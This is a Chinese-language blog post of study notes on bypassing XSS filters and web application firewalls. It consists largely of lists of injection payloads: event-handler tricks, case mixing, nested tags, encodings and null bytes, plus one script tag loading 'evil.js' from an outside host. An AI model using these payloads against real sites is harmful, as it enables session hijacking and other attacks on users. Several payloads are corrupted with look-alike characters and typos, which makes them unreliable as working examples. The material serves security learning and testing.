参考链接https://blog.youkuaiyun.com/qq_29277155/article/details/51320064
0x01.常规插入及其绕过

DOM型XSS,DOM全称为文档对象模型,与反射型存储型xss的不同之处在于其不会经过服务端的处理,而是经过JavaScript dom的渲染构造完dom树后,浏览器解析时才会被js的解析引擎解析执行。
1. 利用字符编码
见前一章第2讲,有unicode(html),ascii(js),hex(url)…
2 绕过长度限制
1.利用事件缩短长度:
"οnclick=alert(1)//
2.最常用的一个“藏代码”的地方,就是“location.hash”。

3.两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的”注释符号“
"><!--
--><script>alert(xss);<script>"
4.使用标签:
标签是定义所有使用”相对路径”标签的hosting地址
<body>
<base href="http://www/google.com" />
<img scr="/int1/...png" />
</body>

5.window.name的妙用:
window.name对象是一个很神奇的东西,对当前的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同
策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。


3.使用基础标签
见前篇,
0x02探测的规则
1 WAF规则探测
-
使用无害的payload,类似
<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等; -
如果过滤闭合标签,尝试无闭合标签的
payload(<b,<i,<marquee)观察响应; -
尝试以下的payload.
<script>alert(1);</script> <script>prompt(1);</script> <script>confirm (1);</script> <script src="http://rhainfosec.com/evil.js">
2 大小写混合字符
<scRiPt>alert(1);</scrIPt>
1、如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>;
2、使用<a>标签测试
<a href=“http://www.google.com">Clickme</a>
<a被过滤?
href被过滤?
其他内容被过滤?
如果没有过滤尝试使用
<a href=”javascript:alert(1)”>Clickme</a>
尝试使用错误的事件查看过滤
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
HTML5拥有150个事件处理函数,可以多尝试其他函数
<body οnhashchange=alert(1)><a href=#>clickit
3. 测试其他标签
1.src属性

<IFRAME SRC="javascript:alert(29);"></IFRAME>
2.iframe标签
简直不可思议-----------可以不用>,大概是</a当成无意义数据了。。。。。。。。。。。。。。。。。。。。
<iframe onmouseover=javascript:alert(1) </a>
<script>alert(1) </script </a>

3.action属性
<form action=javascript:alert(22)><input/type=submit>
4.“data”属性
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
5.嵌套
<scr<scrip>ip>
6.事件处理
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/
<body οnlοad=prompt(1);>
<select autofocus οnfοcus=alert(1)>
<textarea autofocus οnfοcus=alert(1)>
<keygen autofocus οnfοcus=alert(1)>
<video><source οnerrοr="javascript:alert(1)">
7.圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1">aqq</a>
<img src=x onerror="javascript:window.onerror=alert; throw 1">
<body onload="javascript:window.onerror=alert;throw 1">
<body onload="javascript:window.onerror=eval;throw '=alert\x2813\x29'">
<body onload="javascript:window.onerror=eval;throw '=alert\x2813\x29'">
8.location
<a onmouseover=location='javascript:alert(1)'>click
<body onfocus=location='javascript:alert(1)'>click
9.();:被过滤
<svg><script>alert(/1/)</script>
竟然绕过了<script>标签html不编码的规则
第一层解码:
<a href="jAvascript:alert%2831337%29">Hello</a>
第二层解码----------
& #x26解码后为****,再次解码为**&**
%25%28 解码后为 %28 再次解码为**(**
<a href="j&#x26#x41vascript:alert%252831337%2529">Hello</a>
10编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码
href=
action=
location=
on*=
name=
background=
poster=
src=
data= //只支持base64
0x03基于上下文的过滤
1.输入反射属性
<input value="XSStest" type=text>
我们可以使用 “><imgsrc=x οnerrοr=prompt(0);>触发
但是如果<>被过滤,我们仍然可以使用“ autofocusοnfοcus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本
" οnmοuseοver="prompt(0) x="
" οnfοcusin=alert(1) autofocus x="
" οnfοcusοut=alert(1) autofocus x="
" οnblur=alert(1) autofocus a="
输入反射在<script>标签内
类似这种情况:
<script>
Var x=”Input”;
</script>
通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,
例如:“;alert(1)//
2.非常规事件监听

3.超文本内容
代码中的情况如下
<a href=”Userinput”>Click</a>
可以使用javascript:alert(1)//直接执行
<a href="javascript:alert(1)//">Click</a>
4.变形
主要包含大小写和JavaScript变形
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
5.编码绕过(强)

<script>
encodeURIComponent(''-prompt(1)-'')
//等价于
''-alert(1)-''
</script>
<svg>
<script>
encodeURIComponent(''-alert(1)-'')
encodeURIComponent(''-prompt(1)-'')
</script>
6. 输入反射在svg标签内

输入"避开 URL对"的编码,随后HTML解码为"
7.字符集

8 空字节绕过
最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
空字节只适用于PHP 5.3.8以上的版本???
9 语法BUG
10 Unicode分隔符(暂时不懂)

11.缺少X-frame选项(未验证)

12.Window.name欺骗
13ModSecurity绕过

参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
14 WEB KNIGHT绕过
<a href="j	a	v	ascript:alert(1)//">Click</a>
使用 编码绕过.

15.XSS防御总结


1.处理富文本

2.防御DOM Based XSS
事实上,DOM Based XSS是从Javascript中输出数据到HTML页面中。



1万+

被折叠的 条评论
为什么被折叠?



